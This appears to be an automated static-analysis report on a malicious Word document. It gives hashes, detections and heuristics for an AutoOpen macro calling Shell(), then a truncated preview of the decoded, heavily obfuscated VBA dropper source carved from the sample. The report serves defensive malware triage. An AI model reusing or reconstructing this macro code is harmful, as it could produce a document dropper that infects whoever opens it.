Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 457dec3123bf0141…

MALICIOUS

Office (OLE)

199.5 KB Created: 2018-02-28 06:21:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: a60e3209b5fd17eac9a0105a3de913f4 SHA-1: d353e6a672bf1ca63a4eec23bbb0186dd4f77cb8 SHA-256: 457dec3123bf014170c61272bac8d57fa6a794edae7bfe68f639da860a4fcfa7
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The 'OLE_VBA_SHELL' heuristic indicates the macro uses the Shell() function, which is commonly used to download and execute additional payloads. The 'AutoOpen' macro marker suggests it runs automatically when the document is opened. No specific family could be identified, but the behavior is consistent with a macro-based dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6458828-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6458828-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 58329 bytes
SHA-256: 311917fa60f12bd235bd048f17ed240ac89d6c6133dd5891ca65cf771e15f0f7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 31 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ZCHBMAtRdGirQ"
Sub fiVdP()
   On Error Resume Next
   Do While BCXcsi Xor zCMua
      Dim wEcKznzcNis
      Do While JWVzQtCuaoWii Or ivuOQL
         JSwCX = 6025 - Atn(pQjoUimjI / CByte(7) + BmTrfHKhwjp + Hex(DiwRhl)) + (171376742 / DYvsVNitACArYZ) * (5938624 * ChrW(520437311) + tczTZBI * EqijMwp)
      Loop
      zBkEK = 6025 - Atn(uwiBNJ / CByte(7) + wpRjroVUNM + Hex(vJqBndRvKzCpoU)) + (171376742 / niwoX) * (5938624 * ChrW(520437311) + wkGBQDVJThjp * JBPsLAkSzfvz)
      Do
         LqBnVYoJzZ = AWavlqRSACLz * CDate(426718607 * Atn(pnonVzEKC - Fix(sfIjMKAcMcis * CDate(8832))) * aohINcwbzrcw / CLng(5390)) / 9 - ChrB(8 - Cos(911)) / 83 + Int(kAozUZwjhQc) / FIAZzWt - ChrB(872) / wNznqqiDMsofhi + Chr(778 / Atn(48 * Round(AnOIEuFsY / CBool(2)))) / (1199 / CByte(wIUwB * 8 + UiBjXBAHdruWoc * CDbl(39)))
      Loop Until cbizmlOpCtUbir <= NELtTwjuCzm
      iMzjEv = VhlwPO + twqDZS
   Loop
   Set vdpLvIAw = jAzijcCJQfa
End Sub
Function wksEBaTC()
On Error Resume Next
AUPMNc = "wFXDSumnQHcDwUljzfDrav%!&&ll=%6rav% telZCzOOwczAnuWVNzUB"
GoAlrcs = XjzJhzzc = 6025 - Atn(VzTmKpEDU / CByte(7) + isuQhXDZOOobY + Hex(urhIXLVWT)) + (171376742 / tLzaOOlNaD) * (5938624 * ChrW(520437311) + YdTRmd * kNiuZusSHv)
shmEzzOUl = IVLYPWWadKA = 6025 - Atn(bAUQVNOqli / CByte(7) + mFvzlCivGphShw + Hex(NzvLAQkkHtEiWE)) + (171376742 / FtaaZTTWkYvOt) * (5938624 * ChrW(520437311) + timUWARuahiB * oFhYLqNko)
QCNzY = iuivbdfghnkjgyugjn(AUPMNc, 19, 19)
PdSqpOS = "ZKcIZSShes&&plSpwL"
ofNwYFH = ajQTMbDWnlYl = 6025 - Atn(ckqTzIsjbzGww / CByte(7) + SYdBAoBzni + Hex(mGKnUCzsSSXfS)) + (171376742 / CFDwhKUO) * (5938624 * ChrW(520437311) + lwKjYwrcwHbKBh * HwIFfKvsKlzjw)
hqSIkU = GYYYH = 6025 - Atn(pJSZwbpaY / CByte(7) + FAXKqkBOiopFA + Hex(aNtbqiDltIEwij)) + (171376742 / EUVTTf) * (5938624 * ChrW(520437311) + MoJVWJqTjjITwi * NjpoUHOFsGS)
GiLRLUm = iuivbdfghnkjgyugjn(PdSqpOS, 7, 4)
XITzmZwEAnw = "FmOwTOSLdWQSPtpuAuGjzPlz !%6ravd"
lhWck = GoiZJW = 6025 - Atn(JOtsLWz / CByte(7) + lIHwOTXbEofq + Hex(shdGvJXFq)) + (171376742 / fOpmSk) * (5938624 * ChrW(520437311) + ANIRWfwa * mjNikijoRjPl)
nIbjpwA = MciuAbhY = 6025 - Atn(ErnnSiHVChj / CByte(7) + XosMXB + Hex(BUlUikAjncf)) + (171376742 / sNFiVqwMz) * (5938624 * ChrW(520437311) + wihFGpolicZ * XLSWIDRCUtXMnv)
nTorK = iuivbdfghnkjgyugjn(XITzmZwEAnw, 2, 7)
iCBAiiGP = "jXEDobWjdvTs&&eh=%5rav% tBjj"
FkcwzfoZbjK = oMnhCKjl = 6025 - Atn(BPwUql / CByte(7) + EmEYEziqYSrYv + Hex(KSaFRzfR)) + (171376742 / GNURvIoN) * (5938624 * ChrW(520437311) + ENROM * OoizIjSIqpq)
czsvZERP = YOZnOmTzKkimhk = 6025 - Atn(oTizv / CByte(7) + qqcShI + Hex(nFibFLQziQw)) + (171376742 / uOZiGsPYii) * (5938624 * ChrW(520437311) + IpvrhXwVhikJ * GGhWTF)
JdCuQi = iuivbdfghnkjgyugjn(iCBAiiGP, 4, 14)
wfVdbfB = "WGZlzIJzKEtkIjEXr% tes&&!%1rbi"
vJXvNtnr = qmzoUOYf = 6025 - Atn(ojzQPTRQFzC / CByte(7) + dEiojo + Hex(TuscHBDOTWGhr)) + (171376742 / AMJmDHi) * (5938624 * ChrW(520437311) + OWJONNhT * nZjMl)
pdZmfBDuNFU = EpPLFwtzRLscrV = 6025 - Atn(djJzj / CByte(7) + SsoqjzWSH + Hex(CPREznw)) + (171376742 / VUXsDVkqwz) * (5938624 * ChrW(520437311) + tWNEZlw * UZwWjJAqMa)
iGRaqJDdT = iuivbdfghnkjgyugjn(wfVdbfB, 3, 14)
lNhPNf = "MwiCnoGjpUErlAfoORTBjIZdbs% tMSSAR"
irJsj = NUZzT = 6025 - Atn(qdWhksrBMcjU / CByte(7) + VUjJiXkp + Hex(vkSpKYu)) + (171376742 / iNnEwK) * (5938624 * ChrW(520437311) + sijvElc * voXkhKucjzb)
vftFbnz = lOviTGDuTjO = 6025 - Atn(JUQvnolcT / CByte(7) + WAmoN + Hex(nlEHUcaimBczii)) + (171376742 / PawaMtzo) * (5938624 * ChrW(520437311) + MwOkrvvitEHib * EjtmIm)
dsjKYRFM = iuivbdfghnkjgyugjn(lNhPNf, 6, 4)
iiMMfQs = "sfCEWFlkSINcQChIAHuJz!!%7pfwrUJbilULDKK"
dluoIXr = ubWRjqDUwjLdHw = 6025 - Atn(ILaQIYVUo / CByte(7) + UzQRNzLCVqqo + Hex(jLvwhiYo)) + (171376742 / Fzwit) * (5938624 * ChrW(520437311) + pZYHifPt * 
... (truncated)

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